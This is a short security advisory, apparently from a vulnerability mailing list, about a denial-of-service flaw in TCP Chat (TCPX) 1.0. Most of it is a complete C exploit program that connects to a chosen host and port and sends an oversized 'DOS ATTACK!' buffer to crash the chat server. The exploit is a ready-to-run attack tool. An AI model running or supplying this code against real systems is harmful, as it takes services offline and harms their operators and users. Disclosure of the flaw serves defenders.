[EXPL] TCP Chat(TCPX) DoS (Exploit)

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  TCP Chat(TCPX) DoS (Exploit)
------------------------------------------------------------------------


SUMMARY

The "TCP Chat(TCPX) application's main purpose is to provide a fast way to 
do a point-to-point chat conversation. Its uses the TCP Internet protocol. 
One of the party must start the chat by selecting the Server mode, while 
the other part must select the Client mode".

A denial of service condition occurs when a very long text string is sent 
to the server side of the TCP Chat program.

DETAILS

Vulnerable Systems:
 * TCP Chat version 1.0

Error messages:
'Run-time error '40006';
Wrong protocol or connection state for the requested transaction or 
request

'Run-time error '429';
ActiveX component can't create object

Exploit:
/*
TCP Chat(TCPX) DoS Exploit
----------------------------------------

Resolve host... [OK]
[+] Connecting... [OK]
Target locked
Sending bad procedure... [OK]
[+] Server DoS'ed

Tested on Windows2000 SP4
Info: infamous.2hell.com / basher13@xxxxxxxxxxxxx

*/

#include <string.h>
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

char doscore[] =
"*** TCP Chat 1.0 DOS Exploit \n"
"***-----------------------------------------------\n"
"*** Infam0us Gr0up - Securiti Research Team \n\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n";


int main(int argc, char *argv[])
{
WSADATA wsaData;
WORD wVersionRequested;
struct hostent *pTarget;
struct sockaddr_in sock;
char *target;
int port,bufsize;
SOCKET inetdos;

if (argc < 2)
{
printf(" TCP Chat(TCPX) DoS Exploit \n", argv[0]);
printf(" ------------------------------------------\n", argv[0]);
printf(" Infam0us Gr0up - Securiti Research\n\n", argv[0]);
printf("[-]Usage: %s [target] [port]\n", argv[0]);
printf("[?]Exam: %s localhost 1234\n", argv[0]);
exit(1);
}

wVersionRequested = MAKEWORD(1, 1);
if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;

target = argv[1];
port = 1234;

if (argc >= 3) port = atoi(argv[2]);
bufsize = 1024;
if (argc >= 4) bufsize = atoi(argv[3]);

inetdos = socket(AF_INET, SOCK_STREAM, 0);
if(inetdos==INVALID_SOCKET)
{
printf("Socket ERROR \n");
exit(1);
}
printf(" TCP Chat(TCPX) DoS Exploit \n", argv[0]);
printf(" ------------------------------------------\r\n\n", argv[0]);
printf("Resolve host... ");
if ((pTarget = gethostbyname(target)) == NULL)
{
printf("FAILED \n", argv[0]);
exit(1);
}
printf("[OK]\n ");
memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons((USHORT)port);

printf("[+] Connecting... ");
if ( (connect(inetdos, (struct sockaddr *)&sock, sizeof (sock) )))
{
printf("FAILED\n");
exit(1);
}
printf("[OK]\n");
printf("Target locked\n");
printf("Sending bad procedure... ");
if (send(inetdos, doscore, sizeof(doscore)-1, 0) == -1)
{
printf("ERROR\n");
closesocket(inetdos);
exit(1);
}
printf("[OK]\n ");
printf("[+] Server DoS'ed\n");
closesocket(inetdos);
WSACleanup();
return 0;
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:basher13@xxxxxxxxxxxxx> 
basher13.



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